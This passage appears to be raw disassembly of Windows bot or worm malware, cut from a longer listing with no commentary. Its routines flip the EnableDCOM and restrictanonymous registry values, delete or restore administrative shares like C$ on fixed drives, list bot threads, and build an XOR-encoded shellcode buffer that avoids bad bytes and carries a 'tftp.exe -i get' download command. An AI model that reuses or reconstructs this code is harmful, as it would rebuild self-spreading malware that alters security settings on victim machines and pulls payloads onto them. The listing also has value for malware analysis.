		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43C958	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43CA20	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		jmp	loc_4143DD
sub_4143AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144A0	proc near		; DATA XREF: sub_40CD3A+5979o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_4144E7
		call	sub_414500
		jmp	short loc_4144EC
; ---------------------------------------------------------------------------


loc_4144E7:				; CODE XREF: sub_4144A0+3Ej
		call	sub_414826


loc_4144EC:				; CODE XREF: sub_4144A0+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4144A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414500	proc near		; CODE XREF: sub_4144A0+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CAF0, edi
		jnz	loc_414632
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43CA94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41458B
		mov	ax, word_438058
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43CA48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_414573
		push	offset unk_438014
		jmp	short loc_414578
; ---------------------------------------------------------------------------


loc_414573:				; CODE XREF: sub_414500+6Aj
		push	offset dword_437FE4


loc_414578:				; CODE XREF: sub_414500+71j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43CA00	; RegCloseKey
		jmp	short loc_41459E
; ---------------------------------------------------------------------------


loc_41458B:				; CODE XREF: sub_414500+36j
		lea	eax, [ebp+var_214]
		push	offset unk_437FA0
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_41459E:				; CODE XREF: sub_414500+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4145BD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4145BD:				; CODE XREF: sub_414500+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43CA94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41462B
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43CA48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_414613
		push	offset unk_437F38
		jmp	short loc_414618
; ---------------------------------------------------------------------------


loc_414613:				; CODE XREF: sub_414500+10Aj
		push	offset unk_437EF0


loc_414618:				; CODE XREF: sub_414500+111j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43CA00	; RegCloseKey
		jmp	short loc_414645
; ---------------------------------------------------------------------------


loc_41462B:				; CODE XREF: sub_414500+E2j
		push	offset unk_437EA0
		jmp	short loc_414637
; ---------------------------------------------------------------------------


loc_414632:				; CODE XREF: sub_414500+13j
		push	offset unk_437E58


loc_414637:				; CODE XREF: sub_414500+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414645:				; CODE XREF: sub_414500+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414664
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414664:				; CODE XREF: sub_414500+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		cmp	dword_43CB18, edi
		pop	ecx
		jnz	loc_4147E1
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_414687:				; CODE XREF: sub_414500+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43C970
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_414726
		cmp	eax, 0EAh
		jz	short loc_414726
		xor	esi, esi


loc_4146B5:				; CODE XREF: sub_414500+21Fj
		push	off_437CA8[esi]
		push	edi
		call	sub_413225
		pop	ecx
		pop	ecx
		push	off_437CA8[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_4146DA
		push	offset unk_437E20
		jmp	short loc_4146DF
; ---------------------------------------------------------------------------


loc_4146DA:				; CODE XREF: sub_414500+1D1j
		push	offset unk_437DE0


loc_4146DF:				; CODE XREF: sub_414500+1D8j
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41470C
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_41470C:				; CODE XREF: sub_414500+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_4146B5
		jmp	loc_4147BE
; ---------------------------------------------------------------------------


loc_414726:				; CODE XREF: sub_414500+1AAj
					; sub_414500+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_4147B5


loc_414735:				; CODE XREF: sub_414500+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_4179FC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_4147AA
		push	edi
		call	sub_413112
		push	eax
		push	0
		call	sub_413225
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41476A
		push	offset unk_437DA8
		jmp	short loc_41476F
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414500+261j
		push	offset unk_437D68


loc_41476F:				; CODE XREF: sub_414500+268j
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41479D
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_41479D:				; CODE XREF: sub_414500+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		pop	ecx


loc_4147AA:				; CODE XREF: sub_414500+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_414735
		xor	edi, edi


loc_4147B5:				; CODE XREF: sub_414500+22Fj
		push	[ebp+var_8]
		call	dword_43CAB4


loc_4147BE:				; CODE XREF: sub_414500+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_414687
		lea	eax, [ebp+var_214]
		push	offset unk_437D2C
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4147F4
; ---------------------------------------------------------------------------


loc_4147E1:				; CODE XREF: sub_414500+177j
		lea	eax, [ebp+var_214]
		push	offset unk_437CE8
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_4147F4:				; CODE XREF: sub_414500+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_414812
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414812:				; CODE XREF: sub_414500+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_414500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414826	proc near		; CODE XREF: sub_4144A0:loc_4144E7p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43CAF0, ebx
		push	esi
		jnz	loc_414954
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43CA94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4148B1
		mov	ax, word_438260
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43CA48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_414899
		push	offset unk_438228
		jmp	short loc_41489E
; ---------------------------------------------------------------------------


loc_414899:				; CODE XREF: sub_414826+6Aj
		push	offset dword_4381F8


loc_41489E:				; CODE XREF: sub_414826+71j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43CA00	; RegCloseKey
		jmp	short loc_4148C4
; ---------------------------------------------------------------------------


loc_4148B1:				; CODE XREF: sub_414826+36j
		lea	eax, [ebp+var_220]
		push	offset unk_437FA0
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_4148C4:				; CODE XREF: sub_414826+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4148E3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4148E3:				; CODE XREF: sub_414826+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43CA94	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41494D
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43CA48	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_414935
		push	offset unk_4381A8
		jmp	short loc_41493A
; ---------------------------------------------------------------------------


loc_414935:				; CODE XREF: sub_414826+106j
		push	offset unk_438160


loc_41493A:				; CODE XREF: sub_414826+10Dj
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43CA00	; RegCloseKey
		jmp	short loc_414967
; ---------------------------------------------------------------------------


loc_41494D:				; CODE XREF: sub_414826+E2j
		push	offset unk_438110
		jmp	short loc_414959
; ---------------------------------------------------------------------------


loc_414954:				; CODE XREF: sub_414826+13j
		push	offset unk_437E58


loc_414959:				; CODE XREF: sub_414826+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414967:				; CODE XREF: sub_414826+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414986
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414986:				; CODE XREF: sub_414826+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		cmp	dword_43CB18, ebx
		pop	ecx
		jnz	loc_414AFD
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_4149A7:				; CODE XREF: sub_414826+1EEj
		push	dword_437CAC[esi]
		push	off_437CA8[esi]
		push	ebx
		call	sub_413179
		add	esp, 0Ch
		push	off_437CA8[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_4149D3
		push	offset unk_4380DC
		jmp	short loc_4149D8
; ---------------------------------------------------------------------------


loc_4149D3:				; CODE XREF: sub_414826+1A4j
		push	offset unk_4380A0


loc_4149D8:				; CODE XREF: sub_414826+1ABj
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A01
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414A01:				; CODE XREF: sub_414826+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_4149A7
		call	dword_421148	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_414AE5


loc_414A29:				; CODE XREF: sub_414826+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414ADA
		cmp	bl, 41h
		jz	loc_414ADA
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41588A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41588A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43CA84	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_414ADA
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_413179
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_414A9E
		push	offset unk_4380DC
		jmp	short loc_414AA3
; ---------------------------------------------------------------------------


loc_414A9E:				; CODE XREF: sub_414826+26Fj
		push	offset unk_4380A0


loc_414AA3:				; CODE XREF: sub_414826+276j
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414ACD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414ACD:				; CODE XREF: sub_414826+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		pop	ecx


loc_414ADA:				; CODE XREF: sub_414826+20Bj
					; sub_414826+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414A29


loc_414AE5:				; CODE XREF: sub_414826+1FDj
		lea	eax, [ebp+var_220]
		push	offset unk_43805C
		push	eax
		call	sub_415316
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414B10
; ---------------------------------------------------------------------------


loc_414AFD:				; CODE XREF: sub_414826+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437CE8
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_414B10:				; CODE XREF: sub_414826+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B2E
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_414B2E:				; CODE XREF: sub_414826+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B078
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_414826	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B42	proc near		; CODE XREF: sub_414B62+Ap
					; sub_414C3A+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415B10
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415B10
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_414B42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B62	proc near		; CODE XREF: sub_414C51+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_414B42
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_414B7F
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_414B7F:				; CODE XREF: sub_414B62+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_415B10
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_415B10
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4382FC, eax
		lea	eax, [edi+1]
		mov	dword_43831D, eax
		lea	eax, [edi+17h]
		mov	dword_438315, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_438298
		push	ebx
		mov	dword_43832B, eax
		call	sub_4153F0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4153F0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4153F0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4153F0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4153F0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4153F0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_438321
		push	esi
		call	sub_4153F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B62	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C3A	proc near		; CODE XREF: sub_414C51+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_414B42
		push	eax
		call	sub_414CBE
		add	esp, 0Ch
		retn
sub_414C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C51	proc near		; CODE XREF: sub_403166+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_414C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_414C71
		cmp	eax, 0FFFFh
		jbe	short loc_414C75


loc_414C71:				; CODE XREF: sub_414C51+17j
		xor	eax, eax
		jmp	short loc_414CBA
; ---------------------------------------------------------------------------


loc_414C75:				; CODE XREF: sub_414C51+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_414B42
		add	eax, 101h
		push	eax
		call	sub_415BE9
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_414B42
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_414B62
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414CD9
		push	esi
		mov	edi, eax
		call	sub_415C9B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_414CBA:				; CODE XREF: sub_414C51+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_414C51	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CBE	proc near		; CODE XREF: sub_414C3A+Ep
					; sub_414CD9+47p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_414CC7
		inc	ecx


loc_414CC7:				; CODE XREF: sub_414CBE+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_414CBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CD9	proc near		; CODE XREF: sub_414C51+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_414CF3
		cmp	dl, 0Dh
		jz	short loc_414CF3
		cmp	dl, 5Ch
		jz	short loc_414CF3
		test	dl, dl
		jnz	short loc_414CF7


loc_414CF3:				; CODE XREF: sub_414CD9+Aj
					; sub_414CD9+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx


loc_414CF7:				; CODE XREF: sub_414CD9+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_414D1F
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_414D16
		cmp	al, 0Dh
		jz	short loc_414D16
		cmp	al, 5Ch
		jz	short loc_414D16
		test	al, al
		jnz	short loc_414D1F


loc_414D16:				; CODE XREF: sub_414CD9+2Fj
					; sub_414CD9+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx


loc_414D1F:				; CODE XREF: sub_414CD9+26j
					; sub_414CD9+3Bj
		push	edx
		call	sub_414CBE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_414D35
		cmp	eax, 0FFFFh
		jbe	short loc_414D3C


loc_414D35:				; CODE XREF: sub_414CD9+53j
		xor	eax, eax
		jmp	loc_414DD7
; ---------------------------------------------------------------------------


loc_414D3C:				; CODE XREF: sub_414CD9+5Aj
		push	ebx
		mov	bl, byte_46BAD8
		xor	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_8]
		test	edx, edx
		jbe	short loc_414D69


loc_414D4D:				; CODE XREF: sub_414CD9+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_414D60
		cmp	al, 0Ah
		jz	short loc_414D60
		cmp	al, 0Dh
		jz	short loc_414D60
		cmp	al, 5Ch
		jnz	short loc_414D64


loc_414D60:				; CODE XREF: sub_414CD9+79j
					; sub_414CD9+7Dj ...
		inc	bl
		xor	ecx, ecx


loc_414D64:				; CODE XREF: sub_414CD9+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_414D4D


loc_414D69:				; CODE XREF: sub_414CD9+72j
		cmp	edx, esi
		mov	byte_46BAD8, bl
		ja	short loc_414D95
		push	15h
		push	offset loc_438280
		push	[ebp+arg_0]
		mov	byte_43828D, dl
		mov	byte_438291, bl
		call	sub_4153F0
		add	esp, 0Ch
		push	15h
		jmp	short loc_414DB6
; ---------------------------------------------------------------------------


loc_414D95:				; CODE XREF: sub_414CD9+98j
		push	17h
		push	offset loc_438268
		push	[ebp+arg_0]
		mov	word_438276, dx
		mov	byte_43827B, bl
		call	sub_4153F0
		add	esp, 0Ch
		push	17h


loc_414DB6:				; CODE XREF: sub_414CD9+BAj
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_414DD2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_414DC4:				; CODE XREF: sub_414CD9+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_414DC4


loc_414DD2:				; CODE XREF: sub_414CD9+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_414DD7:				; CODE XREF: sub_414CD9+5Ej
		pop	esi
		leave
		retn
sub_414CD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DDA	proc near		; CODE XREF: sub_406048+21Fp
					; sub_4071B6+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_441998


loc_414DE2:				; CODE XREF: sub_414DDA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_414DF6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_46AE88
		jl	short loc_414DE2
		jmp	short loc_414E41
; ---------------------------------------------------------------------------


loc_414DF6:				; CODE XREF: sub_414DDA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_441998[esi]
		push	eax
		call	sub_416BE0
		mov	eax, [esp+14h+arg_4]
		and	dword_441B9C[esi], 0
		and	dword_441BA0[esi], 0
		mov	dword_441B98[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_441BB0[esi], 0
		mov	dword_441BA4[esi], eax
		pop	esi


loc_414E41:				; CODE XREF: sub_414DDA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_414DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E45	proc near		; DATA XREF: sub_40CD3A+55FDo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_414E97
		push	[ebp+var_14]
		call	sub_4150F0
		add	esp, 14h
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_414E45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E97	proc near		; CODE XREF: sub_414E45+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_441998


loc_414EC1:				; CODE XREF: sub_414E97+78j
		cmp	byte ptr [esi],	0
		jz	short loc_414F02
		cmp	[ebp+arg_C], 0
		jnz	short loc_414ED5
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_414F02


loc_414ED5:				; CODE XREF: sub_414E97+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 24h


loc_414F02:				; CODE XREF: sub_414E97+2Dj
					; sub_414E97+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_46AE88
		jl	short loc_414EC1
		pop	edi
		pop	esi
		leave
		retn
sub_414E97	endp


; =============== S U B	R O U T	I N E =======================================



